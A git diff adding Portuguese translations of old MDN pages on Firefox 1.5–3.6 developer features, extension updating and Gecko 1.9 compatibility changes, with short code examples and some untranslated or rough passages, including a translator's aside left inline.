diff --git a/files/pt-pt/mozilla/firefox/releases/1.5/index.html b/files/pt-pt/mozilla/firefox/releases/1.5/index.html new file mode 100644 index 0000000000..fdd748fd80 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/1.5/index.html @@ -0,0 +1,25 @@ +--- +title: Firefox 1.5 para Desenvolvedores +slug: Firefox_1.5_para_Desenvolvedores +translation_of: Mozilla/Firefox/Releases/1.5 +--- +
{{FirefoxSidebar}}

 

+ +

Firefox 1.5

+ +

Como o primeiro lançamento no ciclo de desenvolvimento de produto Firefox 1.5 dedicada a desenvolvedores web e autores de Extensões para teste de compatibilidade, Firefox 1.5, baseado no motor Gecko 1.8, melhora o já melhor na classe suporte de normas e providencia novas capacidades para suportar a próxima geração de aplicações web. Firefox 1.5 tem como características, melhor suporte para CSS 2 e CSS 3, APIs para gráficos 2D com scripts e programáveis com SVG 1.1 e <canvas>, XForms e eventos XML, e satisfatórios realces em DHTML, JavaScript e DOM.

+ +

Firefox 1.5 está disponível para o download em: http://www.mozilla.com/firefox/

+ +

Ferramentas para Desenvolvedores

+ +

Diversas ferramentas e extensões do browser estão disponíveis para ajudar no suporte do Firefox 1.5 aos desenvolvedores.

+ + + +

Nota: Algumas extensões não suportam atualmente o Firefox 1.5 e serão desabilitadas automaticamente.

diff --git a/files/pt-pt/mozilla/firefox/releases/2/index.html b/files/pt-pt/mozilla/firefox/releases/2/index.html new file mode 100644 index 0000000000..3701ecfc87 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/2/index.html @@ -0,0 +1,93 @@ +--- +title: Firefox 2 para desenvolvedores +slug: Firefox_2_para_desenvolvedores +translation_of: Mozilla/Firefox/Releases/2 +--- +
{{FirefoxSidebar}}

Novas características para desenvolvedores no Firefox 2

+ +

Firefox 2 introduz uma vasta gama de características e potencialidades novas.

+ +

Se não houver um link para algum título abaixo, é um título provisório do MDC até que o artigo esteja escrito.

+ +

Para desenvolvedores de aplicações e web sites

+ +
+
Microsummaries
+
Microsummaries são uma nova maneira de web sites fornecerem material de referência rápida para usuários. Páginas onde existe um gerador de microsummary podem ser adicionadas à barra de favoritos com conteúdo que atualiza periodicamente baseado na especificação microsummary.
+
+ +
+
Creating a Microsummary
+
Um tutorial sobre como criar um gerador microsummary.
+
+ +
+
Creating MozSearch plugins
+
Firefox 2 suporta MozSearch, um formato plugin de pesquisa baseado no OpenSearch.
+
+ +
+
OpenSearch support in Firefox
+
Firefox 2 suporta também o formato Amazon A9's OpenSearch para plugins de pesquisa.
+
+ +
+
Supporting search suggestions in search plugins
+
Como fazer seu plugin MozSearch suportar sugestões de pesquisa, que aparecem em uma caixa popup ao digitar na barra da busca.
+
+ +
+
New in JavaScript 1.7
+
Firefox 2 suporta JavaScript 1.7, que possui novas características incluindo let, destructuring assignment, geradores e iteradores, e array comprehensions.
+
+ +
+
WHATWG Client-side session and persistent storage
+
Sessão client-side e armazenamento permanente permitem que aplicações web armazenem dados estruturados no lado do cliente.
+
+ +
+
SVG in Firefox
+
Firefox 2 tem suporte à SVG (Scalable Vector Graphics) melhorado, implementando o elemento <textPath> e adicionando suporte a alguns atributos não suportados previamente.
+
+ +

Para desenvolvedores de extensões e XUL

+ +
+
Session restore API
+
Contribuindo com itens a serem salvos e restaurados através das sessões do Firefox.
+
+ +
+
Feed content access API
+
Esta API ainda está sendo revisada; documentação estará disponível em breve.
+
+ +
+
SAX support
+
Parser API baseada em eventos de XML.
+
+ +
+
Adding search engines from web pages
+
Código Javascript pode instruir Firefox a instalar novos plugins de pesquisa escritos com o formato OpenSearch ou Sherlock.
+
+ +
+
Adding phishing protection data providers
+
É possível realçar a proteção phishing? do Firefox adicionando fornecedores adicionais de dados ao sistema de navegação seguraainda não encontrei um bom termo - Leandro o que voce acha - Kay - bom Kay, obrigado. :) Caso queira nos ajudar com outras traduções, entre em contato através da página MDC:Comunidade.
+
+ +
+
Storage
+
Firefox 2 introduz o mozStorage, uma arquitetura de base de dados baseada no sqlite.
+
+ +
+
Best practices for extension versioning
+
Como usar números de versão para tratar de todas as versões de pré-lançamento do firefox 2.
+
+ +

Novas características para usuários finais

+ +

Para conhecer as novidades para usuários finais das versões 2.0, visite o br.mozdev.

diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/index.html new file mode 100644 index 0000000000..ec89c2b039 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/3.5/index.html @@ -0,0 +1,260 @@ +--- +title: Firefox 3.5 para desenvolvedores +slug: Firefox_3.5_para_desenvolvedores +translation_of: Mozilla/Firefox/Releases/3.5 +--- +
{{FirefoxSidebar}}

O Firefox 3.5 introduz várias funcionalidades novas, bem como suporte adicional e melhorado para uma larga variedade de padrões web. Este artigo oferece uma extensa lista, com links para artigos cobrindo as melhorias mais importantes.

+

Novas funcionalidades para desenvolvedores no Firefox 3.5

+

Para desenvolvedores de web sites e aplicações

+

Suporte a HTML 5

+
+
+ Usando áudio e vídeo no Firefox
+
+ O Firefox 3.5 adicionou suporte para os elementos de áudio e vídeo do HTML 5.
+
+ Recursos offline no Firefox (EN)
+
+ O Firefox 3.5 agora suporta totalmente as especificações de recursos offline do HTML 5.
+
+ Arrastar e largar (drag and drop) (EN)
+
+ As APIs de arrastar e soltar do HTML 5 permitem o suporte para  arrastar e soltar itens dentro e entre web sites. Isto também proporciona uma API simples para uso em extensões e aplicações baseadas no Mozilla.
+
+

Novas funcionalidades do CSS suportadas

+
+
+ Suporte a fontes baixáveis
+
+ A nova @font-face @rule permite que páginas web proporcionem fontes baixáveis, dessa forma estes sites podem ser renderizados exatamente como o autor da página espera.
+
+ Consulta de mídia CSS
+
+ O Firefox 3.5 suporta consulta de mídia CSS, que melhora o suporte às folhas de estilo dependentes de mídias.
+
+ :before e :after atualizados para o CSS 2.1
+
+ Os pseudo-elementos :before e :after foram atualizados para o suporte total do CSS 2.1, adicionando suporte para position, float, list-style-*, e algumas propriedades display.
+
+ opacity (en)
+
+ A estensão Mozilla -moz-opacity para o CSS foi removida em favor da propriedade padrão opacity.
+
+ text-shadow (en)
+
+ A propriedade text-shadow, que permite ao conteúdo web especificar efeitos de sombra para aplicar em textos e decorações de texto, agora é suportada.
+
+ word-wrap (en)
+
+ Esta nova propriedade suportada permite ao conteúdo especificar quando as linhas podem ou não serem quebradas no meio de palavras para prevenir o extravasamento quando uma outra string não-quebrável é muito longa para ocupar uma única linha.
+
+ -moz-box-shadow (en)
+
+ -moz-border-image (en)
+
+ -moz-column-rule (en)
+
+ -moz-column-rule-width (en)
+
+ -moz-column-rule-style (en)
+
+ -moz-column-rule-color (en)
+
+ -moz-column-gap (en)
+
+ O Firefox 3.5 adicionou suporte para estas extensões Mozilla ao CSS.
+
+ O valor de cor -moz-nativehyperlinktext (en)
+
+ Este novo valor de cores representa a cor de hiperlink padrão do sistema do usuário.
+
+ As novas propriedades -moz-window-shadow (en) e -moz-system-metric(mac-graphite-theme) (en)
+
+ Estas novas propriedades CSS foram adicionadas para facilitar as edições de temas.
+
+ Novos valores para -moz-appearance (en)
+
+ Os valores -moz-win-glass e -moz-mac-unified-toolbar foram adicionados em -moz-appearance.
+
+ Usando transformações CSS
+
+ O Firefox 3.5 suporta transformações CSS. Veja -moz-transform (en) e -moz-transform-origin (en) para detalhes.
+
+ :nth-child (en)
+
+ :nth-last-child (en)
+
+ :nth-of-type (en)
+
+ :nth-last-of-type (en)
+
+ :first-of-type (en)
+
+ :last-of-type (en)
+
+ :only-of-type (en)
+
+ Todos estes seletores são agora suportados pelo Firefox 3.5.
+
+

Novas funcionalidades da DOM

+
+
+ localStorage
+
+ O Firefox 3.5 adiciona suporte para a propriedade localStorage do HTML 5, que proporciona uma maneira para as aplicações web armazenarem dados localmente no computador do cliente.
+
+ Using DOM workers (EN)
+
+ O Firefox 3.5 suporta que trabalhadores (workers) DOM permitam facilmente o suporte para multi-threading em aplicações web.
+
+ Using geolocation (EN)
+
+ O Firefox 3.5 suporta a API de Geolocalização (Geolocation API), que permite a aplicações web obterem informações sobre a localização atual dos usuários se um provedor desta informação estiver instalado e habilitado.
+
+ Using JSON in Firefox (EN)
+
+ O supore para JSON está agora integrado ao DOM.
+
+ Locating DOM elements using selectors (EN)
+
+ A API de seletores (selectors API) permite consultar um documento para localizar os elementos que combinam com uma regra de seleção dada.
+
+ The NodeIterator object (EN)
+
+ O objeto NodeIterator proporciona suporte para iteração sobre a lista de nós em uma subárvore DOM.
+
+ The MozAfterPaint event (EN)
+
+ Este novo evento DOM é enviado após realizar atualizações de pintura em janelas.
+
+ The MozMousePixelScroll event (EN)
+
+ Este novo evento DOM permite a detecção de eventos de rolagem do mouse baseada em pixels ao invés de eventos de rolagem baseados em linhas.
+
+

Novas funcionalidades JavaScript

+
+
+ Object.getPrototypeOf() (EN)
+
+ Este novo método retorna o protótipo de um objeto específico.
+
+ Novos métodos trim no objeto String
+
+ O objeto String (en) tem agora os métodos trim() (en), trimLeft() (en) e trimRight() (en).
+
+

Rede

+
+
+ Cross-site access controls for HTTP (EN)
+
+ No Firefox 3.5, agora é possível para requisições HTTP, incluindo as feitas por XMLHttpRequest (en), trabalhar através de domínios, se o servidor suportar isso.
+
+ Progress events for XMLHttpRequest (EN)
+
+ Eventos de progresso agora são oferecidos para permitir que extensões monitorem o progresso de requisições.
+
+ Suporte a XMLHttpRequest síncrona melhorado
+
+ DOM Timeout e Input Events agora são omitidos durante uma XMLHttpRequest síncrona.
+
+ Controlling DNS prefetching (EN)
+
+ O Firefox 3.5 proporciona pré-carregamento DNS (DNS prefetching), através do qual realiza a resolução do nome do domínio antes do tempo para links incluídos na página atual, com o objetivo de poupar tempo quando os links forem realmente clicados. Este artigo descreve como você pode modificar seu web site para desabilitar o pré-carregamento, ou para ajustar como o pré-carregamento opera.
+
+

Novas funcionalidades Canvas

+
+
+ HTML 5 text API for canvas elements (EN)
+
+ Os elementos Canvas agora suportam a API de texto do HTML 5.
+
+ Shadow effects in a canvas (EN)
+
+ Os efeitos de sombra do Canvas agora são suportados.
+
+ atributo moz-opaque
+
+ Adicionado o atributo DOM, moz-opaque, que permite ao canvas saber quando a translucidez será um fator ou não. Se o canvas sabe que não há translucidez, a performance de pintura pode ser otimizada.
+
+

Novas funcionalidades SVG

+
+
+ Applying SVG effects to HTML content (EN)
+
+ Você pode aplicar efeitos SVG ao conteúdo HTML e XHTML; este artigo descreve como.
+
+

Novas funcionalidades - Miscelânea

+
+
+ ICC color correction in Firefox (EN)
+
+ O Firefox 3.5 agora suporta a correção de cores ICC para imagens marcadas.
+
+ O atributo defer é agora suportado no elemento script (EN)
+
+ Este atributo indica ao navegador que ele pode optar por continuar a analisar e renderizar a página sem aguardar o término da execução do script.
+
+

Outras melhorias

+ +

Para desenvolvedores XUL e de complementos

+

Se você é um desenvolvedor de extensões, você deve começar lendo Atualizando extensões para o Firefox 3.5, que oferece um panorama útil de mudanças que podem afetar a sua extensão.

+

Novos componentes e funcionalidades

+
+
+ Supporting private browsing mode (EN)
+
+ O Firefox 3.5 oferece o modo de Navegação Privada, que não grava as atividades do usuário. Extensões podem suportar a navegação privada seguindo as orientações oferecidas por este artigo.
+
+ Security changes in Firefox 3.5 (EN)
+
+ Este artigo cobre as mudanças relacionadas à segurança no Firefox 3.5.
+
+ Theme changes in Firefox 3.5 (EN)
+
+ Este artigo cobre as mudanças relacionadas à temas no Firefox 3.5.
+
+ Monitoring WiFi access points (EN)
+
+ Código com privilégios UniversalXPConnect agora podem monitorar a lista dos pontos de acesso disponíveis, obtendo informações de seus SSIDs, endereços MAC, e força de sinal.  Isto pode ser usado em conjunto com geolocalização (Geolocation) para oferecer serviço de localização baseado em WiFi.
+
+

Mudanças e melhorias notáveis

+ +

Novas características para usuários finais

+

Experiência do usuário

+ +

Segurança e Privacidade

+ +

Performance

+ +

Veja também

+ diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html new file mode 100644 index 0000000000..f1eeef972a --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html @@ -0,0 +1,111 @@ +--- +title: Atualizando extensões para o Firefox 3.5 +slug: Atualizando_extensões_para_o_Firefox_3.5 +translation_of: Mozilla/Firefox/Releases/3.5/Updating_extensions +--- +
{{FirefoxSidebar}}

{{ fx_minversion_header(3.5) }}

+

Este artigo proporciona informação útil para desenvolvedores tentando atualizar suas extensões para trabalharem corretamente no Firefox 3.5.

+

Atualizações básicas

+

Esta seção cobre o básico do que você necessita fazer sempre que você atualiza uma extensão para uma nova versão do Firefox.

+

Teste sua extensão

+

Começe editando o arquivo install.rdf da sua extensão, atualizando maxVersion para 3.5b4 (if you're testing on Firefox 3.5 beta 4), e aumente a versão da sua extensão.
+
+ Crie então um novo perfil no Firefox, para que os testes não coloquem em risco seu perfil usual. Navegue até o diretório contendo Firefox, e então digite o comando:

+
firefox -createProfile testBeta4
+
+

No Mac, você precisa navegar por todo o caminho da bundle aplicação Firefox:

+
cd /Applications/Firefox.app/Contents/MacOS/
+firefox -createProfile testBeta4
+
+

Inicie o Firefox usando o novo perfil digitando este comando na linha de comeando:

+
firefox -P testBeta4
+
+

Teste a sua extensão cuidadosamente. Nós sugerimos que você configure as seguintes preferências para verdadeiro (true) com a finalidade de ser alertado para qualquer advertência ou exceção do JavaScript:

+ +

Atualize sua extensão

+

Se você encontrar algum problema durante o teste, atualize seu código para corrigir os problemas. Este artigo contém informação sobre coisas que podem requisitar algum trabalho.
+
+ Uma vez que tenha feito isto, tente usar sua extensão novamente, desta vez com o perfil normal. Isto ajudará a assegurar a compatibilidade com qualquer dado existente salvo.

+

Atualize sua extensão em addons.mozilla.org

+

Finalmente, é hora de lançar sua extensão atualizada. Se a sua extensão não necessita de qualquer mudança no código, você pode simplesmente conectar-se ao painel AMO e atualizar a compatibilidade da versão por ali. Caso contrário será necessário enviar uma nova versão para o AMO.
+
+ Veja Submitting an add-on to AMO (EN) para informações adicionais.

+

Acessando o banco de dados do Places

+

Antes do Firefox 3.5, acessar o banco de dados do Places diretamente usando a API de Armazenamento (Storage API (EN)) requeria alguns truques:

+
var places = Components.classes["@mozilla.org/file/directory_service;1"].
+                        getService(Components.interfaces.nsIProperties).
+                        get("ProfD", Components.interfaces.nsIFile);
+places.append("places.sqlite");
+var db = Components.classes["@mozilla.org/storage/service;1"].
+                    getService(Components.interfaces.mozIStorageService).openDatabase(places);
+
+

Isto constrói um caminho manual para o arquivo do banco de dados places.sqlite database, então abre o arquivo para o acesso ao armazenamento.

+

O Firefox 3.5 adiciona um serviço dedicado que oferece uma maneira mais conveniente para acessar o banco de dados do Places; a técnica a seguir não funciona no Firefox 3.5 ou anteriores.

+
var db = Components.classes["@mozilla.org/browser/nav-history-service;1"].
+                    getService(Components.interfaces.nsPIPlacesDatabase).DBConnection;
+
+

Caixas de texto de Pesquisa

+

O tipo de caixa de texto (textbox (EN)) timed está depreciado; ao invés disso, você deve usar search.

+

No Firefox 3, você pode ter usado:

+
<textbox type="timed" timeout="1000" oncommand="alert(this.value);"/>
+
+

No Firefox 3.5, você deve mudar para:

+
<textbox type="search" timeout="1000" oncommand="alert(this.value);"/>
+
+

JSON

+

O módulo JavaScript JSON.jsm foi removido no Firefox 3.5 em favor do suporte nativo ao objeto JSON. Para detalhes, veja Using JSON in Firefox (EN) e o artigo em JSON (EN) para uma introdução mais geral sobre o JSON e como usá-lo em várias versões do Firefox.

+

Para assegurar a compatibilidade com o Firefox 3 e Firefox 3.5, você pode fazer o que segue:

+
if (typeof(JSON) == "undefined") {
+  Components.utils.import("resource://gre/modules/JSON.jsm");
+  JSON.parse = JSON.fromString;
+  JSON.stringify = JSON.toString;
+}
+
+

Isto funciona importando o módulo JavaScript JSON.jsm se o JSON não for suportado nativamente, mapeando então os métodos proporcionados por este módulo aos usados nativamente no JSON, então as mesmas chamadas funcinam.

+

Você pode também contornar este problema usando a interface {{ interface("nsIJSON") }} diretamente.

+

Mudanças nos menus de contexto

+

Com o objetivo de suportar as novas características de áudio e vídeo adicionadas ao Gecko 1.9.1, a classe de nsContextMenu foi renomeada de imageURL para mediaURL; entretanto, imageURL foi adicionado novamente em 9 de junho de, 2009.

+

Mudanças no registro chrome

+

O Firefox 3.5 corrige falhas de segurança que tornam possível o uso remoto do chrome. Isto afetará qualquer complemento que inclua recursos em seu arquivo chrome.manifest que referencie a um web site, dados ou urls de recursos. Veja Security changes in Firefox 3.5 (EN) para detalhes.

+

Conseguindo um contexto carregado através de requisição

+

Anteriormente, era possível conseguir um contexto carregado a partir de uma requisição por consulta a várias APIs docShell. Uma maneira correta e confiável de fazer isso é usar um {{ interface("nsILoadContext") }}.

+

Com o C++, você pode fazer como mostrado abaixo:

+
nsCOMPtr<nsILoadContext> loadContext;
+nsCOMPtr<nsIChannel> channel = do_QueryInterface(aRequest);
+NS_QueryNotificationCallbacks(channel, loadContext);
+
+

Com o JavaScript, você pode fazer desta maneira:

+
var loadContext;
+try {
+  loadContext =
+    aRequest.queryInterface(Components.interfaces.nsIChannel)
+            .notificationCallbacks
+            .getInterface(Components.interfaces.nsILoadContext);
+} catch (ex) {
+  try {
+    loadContext =
+      aRequest.loadGroup.notificationCallbacks
+              .getInterface(Components.interfaces.nsILoadContext);
+  } catch (ex) {
+    loadContext = null;
+  }
+}
+
+

Barra de ferramentas customizável

+

No Firefox 3.5, o comportamento da barra de ferramentas customizável mudou, tal que o vínculo <xul:toolbar/> agora remove itens da barra de ferramentas do seu associado <xul:toolbarpalette/> e os adiciona na barra de ferramentas, ao invés de cloná-los e copiá-os para a barra de ferramentas. Isto significa que a paleta conterá agora somente itens não presentes na barra de ferramentas, ao contrário do comportamento anterior de conter todos os elementos, customizáveis ou não, exibidos na barra de ferramentas. Isto pode causar problemas para complementos dependendo da possibilidade de recuperar os itens da barra de ferramentas customizável através de <xul:toolbarpalette/>, ou de tentar dinamicamente inserir itens na paleta para torná-la disponível durante a customização da barra de ferramentas. Mais informações está disponível em {{ Bug(407725) }} e {{ Bug(467045) }}.

+

XPCNativeWrapper

+

Iniciando o Firefox 3.5, você não pode mais usar data: you can no longer use data: bindings em pacotes chromeque possuem automatização XPCNativeWrapper. Isto resolve um potencial problema de segurança.

+

Documentos XUL agora tem o tratamento XPCNativeWrapper, então você agora precisa usar o método getAttribute() para buscar valores de atributo ao invés de simplesmente lê-los diretamente.

+

Se a sua extensão está usando xpcnativewrappers=no (o que não deveria ser feito em primeiro lugar, uma vez que não é seguro fazê-lo), o XBL desta extensão não será aplicado a documentos que estejam usando automatização XPCNativeWrapper, começando no Firefox 3.5.

+

Novas características interessantes

+

"Listening" eventos em todas as abas

+

O Firefox 3.5 adicionou suporte para a adição e remoção de listeners que listen em todas as abas. Veja Listening to events on all tabs (EN) para detalhes.

+

Para desenvolvedores de temas:

+ +

 

diff --git a/files/pt-pt/mozilla/firefox/releases/3.6/index.html b/files/pt-pt/mozilla/firefox/releases/3.6/index.html new file mode 100644 index 0000000000..87e983ee35 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/3.6/index.html @@ -0,0 +1,309 @@ +--- +title: Firefox 3.6 para desenvolvedores +slug: Firefox_3.6_para_desenvolvedores +translation_of: Mozilla/Firefox/Releases/3.6 +--- +

Firefox 3.6 oferece suporte para padrões web novos e em desenvolvimento, performance melhorada e uma boa experiência para usuários web e desenvolvedores. Está página proporciona links para artigos cobrindo as novas capacidades do Firefox 3.6.

+ +

Para desenvolvedores de websites e aplicações

+ +

CSS

+ +
+
Using gradients
+
Firefox 3.6 adicionou o suporte às propriedades sugeridas -moz-linear-gradient e -moz-radial-gradient para background.
+
Multiple backgrounds
+
A propriedade background (assim como background-color, background-image, background-position, background-repeat e background-attachment) agora suporta múltiplos fundos de tela. Isto permite a especificação de múltiplos fundos de tela que são renderizados um sobre o outro, em camadas.
+
Mozilla-specific media features
+
Características de mídia foram adicionadas para o sistema de métricas específico da Mozilla, então consultas de mídia podem ser usadas para checar mais seguramente a disponibilidade de características como o suporte a toque.
+
Scaling background images
+
A propriedade background-size do CSS 3 Backgrounds and Borders draft é agora suportada sob o nome -moz-background-size.
+
WOFF font support
+
@font-face agora suporta arquivos de fonte baixáveis no formato WOFF.
+
Pointer events
+
A propriedade pointer-events permite ao conteúdo especificar quando um elemento pode ser o alvo ou não de eventos com o ponteiro do mouse.
+
+ +

Miscelânea de mudanças no CSS

+ + + +

HTML 

+ +
+
Using files from web applications
+
Suporte para a nova API de Arquivos HTML5 foi adicionada ao Gecko, tornando possível para aplicações web acessar arquivos locais selecionados pelo usuário. Isto inclui suporte para a seleção de múltiplos arquivos usando o novo atributo multiple do elemento HTML input type="file".
+
HTML5 vídeo suporta quadros poster
+
O atributo poster é agora suportado pelo elemento video, permitindo ao conteúdo especificar um quadro poster a ser exibido até que o vídeo comece a tocar.
+
Checkboxes e radio buttons suportam a propriedade indeterminate
+
Os elementos HTML input dos tipos checkbox e radio agora suportam a propriedade indeterminate, que permite um terceiro estado "indeterminado".
+
A suavização de imagens em canvas pode ser controlada
+
A nova propriedade mozImageSmoothingEnabled pode ser usada para ativar e desativar a suavização de imagens quando mudando a escala em elementos canvas.
+
Execução de script assíncrona
+
Configurando o atributo async no elemento script, o script não bloqueará o carregamento ou exibição do resto da página. Ao invés, o script executa assim que for baixado.
+
+ +

JavaScript

+ +

O Gecko 1.9.2 introduz o JavaScript 1.8.2, o qual adiciona algumas características da linguagem do ECMAScript 5 standard:

+ + + +

DOM

+ +
+
+ +

Miscelânea de mudanças no DOM

+ + + +
+
Web workers podem agora se auto-terminar
+
Workers agora suportam o método nsIWorkerScope.close(), que permite a eles, terminá-los eles mesmos.
+
Arrastar e soltar (drag and drop) agora suportam arquivos
+
O objeto DataTransfer previsto para arrastar listeners agora inclui uma lista de arquivos que foram arrastados.
+
Checando para ver se um elemento combina com um seletor CSS especificado
+
O novo método element.mozMatchesSelector permite a determinação se um elemento combina ou não com um seletor CSS especificado. Veja bug 518003.
+
Detecting device orientation
+
 
+
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
+
Detecting document width and height changes
+
O novo evento MozScrollAreaChanged  é despachado sempre que as propriedades scrollWidth e/ou scrollHeight do documento mudam.
+
 
+
+ +

XPath

+ +
+
O método choose() do XPath é agora suportado
+
O método choose() é agora suportado pela nossa implementação do XPath.
+
+ +

Para desenvolvedores XUL e de complementos

+ +

Se você é um desenvolvedor de extensões, deveria começar lendo Updating extensions for Firefox 3.6, o qual oferece uma introdução útil de que mudanças podem afetar sua extensão. Desenvolvedores de plug-ins deveriam ler Updating plug-ins for Firefox 3.6.

+ +

Novas Características

+ +
+
Detecting device orientation
+
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
+
Monitoring HTTP activity
+
É possível agora monitorar transações HTTP para observar requisições e respostas em tempo real.
+
Working with the Windows taskbar
+
É possível agora customizar a aparência das janelas na barra de tarefas no Windows 7 ou mais recentes.
+
+ +

Places

+ + + +

Storage

+ +
+
Locale-aware collation of data is now supported by the Storage API
+
O Gecko 1.9.2 adicionou várias novos métodos de agrupamento para proporcionar o agrupamento otimizado (classificação) de resultados usando técnicas de localização-consciente.
+
Properties on a statement can now be enumerated
+
Você pode agora usar a enumeração for..in para enumerar todas as propriedades de uma declaração.
+
mozIStorageStatement's getParameterIndex teve o comportamento alterado entre 3.5 e 3.6.
+
Veja bug 528166 para detalhes.
+
Ligar vários conjuntos de parâmetros assincronamente para executar uma declaração.
+
Veja bug 490085 para detalhes. A documentação virá em breve.
+
+ +

Preferências

+ + + +

Temas

+ +

Veja Updating themes for Firefox 3.6 para detalhes.

+ +
+
Lightweight themes
+
O Firefox 3.6 suporta temas leves; estes são temas fáceis de criar que simplesmente aplicam uma imagem de fundo ao topo (barra de endereços e barra de botões) e inferior (barra de estado (status)) das janelas do navegador. Esta é uma integração à arquitetura de temas existente Personas no Firefox.
+
+ +

 

+ +

Miscelânea

+ + + +

Para desenvolvedores Firefox/Gecko

+ +

Algumas mudanças são interessantes somente se você trabalha internamente no próprio Firefox.

+ +

Interfaces mescladas

+ +

As seguintes interfaces foram unidas:

+ + + +

Interfaces removidas

+ +

As seguintes interfaces foram removidas inteiramente porque eram obsoletas, não utilizadas ou não implementadas:

+ + + +

Interfaces movidas

+ +

As seguintes interfaces foram realocadas de seus arquivos IDL anteriores em novos:

+ + + +

Um grande número de interfaces foram movidas. Veja Interfaces moved in Firefox 3.6 para uma lista completa.

+ +

Outras mudanças na interface

+ +

As seguintes alterações foram feitas:

+ + + +

 

+ +

Mudanças na acessibilidade do código

+ + + +

Veja também

+ + diff --git a/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html b/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html new file mode 100644 index 0000000000..cd637eed20 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html @@ -0,0 +1,77 @@ +--- +title: Mudanças no Gecko 1.9 que afetam websites +slug: Mudanças_no_Gecko_1.9_que_afetam_websites +tags: + - Desenvolvimento_Web + - Gecko + - Todas_as_Categorias +translation_of: Mozilla/Firefox/Releases/3/Site_compatibility +--- +
{{FirefoxSidebar}}
+ +

Esta página tenta dar uma introdução das mudanças entre o Gecko 1.8 e o Gecko 1.9, que poderia possivelmente afetar websites em seu comportamento ou interpretação. Veja também Firefox 3 para desenvolvedores.

+ +

Eventos

+ +

Capturando ouvintes de carregamento de eventos

+ +

No Gecko 1.8, não era possível configurar a captura de ouvintes de carregamento de eventos em imagens. No Gecko 1.9, isto foi corrigido por {{ Bug(234455) }}. Mas isto pode causar problemas em websites que tenham seus ouvintes de eventos incorretamente configurados para capturar o carregamento de evento. Veja a discussão em {{ Bug(335251) }}. Para corrigir este problema, a página problemática em questão não deve configurar uma captura de ouvintes de carregamento de eventos.

+ +

Por exemplo, isto:

+ +
window.addEventListener('load', yourFunction, true);
+
+ +

deve ser mudado nisto:

+ +
window.addEventListener('load', yourFunction, false);
+
+ +

Para uma explanação de como eventos de captura trabalham, veja DOM Level 2 Event capture

+ +

preventBubble foi removido

+ +

No Gecko 1.8, o método preventBubble existia em eventos para previnir eventos de "borbulhar para cima". No Gecko 1.9 este método foi removido. Dessa forma, você deve usar o padrão stopPropagation(), o qual também trabalha bem no Gecko 1.8. Opatch em {{ Bug(330494) }} fez isto acontecer. Veja também {{ Bug(105280) }}.

+ +

Algumas outras APIs de evento antigas não são mais suportadas

+ +

window.captureEvents, window.releaseEvents, e window.routeEvent são são mais suportadas ({{ Obsolete_inline() }}) no Gecko 1.9.

+ +

DOM

+ +

WRONG_DOCUMENT_ERR

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

Alcances

+ +

intersectsNode foi removido

+ +

No Gecko 1.8 a função do código intersectsNode é usada para testar se um nó intercepta um alcance. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Dessa forma use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

+ +

Veja a documentação para intersectsNode para como usar compareBoundaryPoints em vez disso.

+ +

compareNode foi removido

+ +

No Gecko 1.8 a função do código compareNode é usada para testar como um nó intercepta um alcante. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Em vez disso use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

+ +

Veja a documentação para compareNode para como usar compareBoundaryPoints em vez disso.

+ +

HTML

+ +

Muitosbugs em <object> foram corrigidos

+ +

Os elementos object e embed não precisam mais do atributo type para interpretar. Mudando o atributo src (de <embed>) ou o atributo data (de <object>) via JavaScript agora trabalha corretamente. O cabeçalho Conteúdo-Tipo enviado pelo servidor (se algum) agora toma procedências sobre o atributo type de um elemento <object> de acordo com a especificação HTML. (este não é o caso de embed).

+ +


+ Categorias

+ +

Interwiki Language Links

+ +

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron" } ) }}

diff --git a/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html new file mode 100644 index 0000000000..02b1236538 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html @@ -0,0 +1,209 @@ +--- +title: Atualização das extensões para o Firefox 3 +slug: Atualizando_extensões_para_o_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +--- +
+ +

Este artigo proporciona informações úteis para desenvolvedores que desejam atualizar suas extensões para que funcionem corretamente no Firefox 3.

+ +

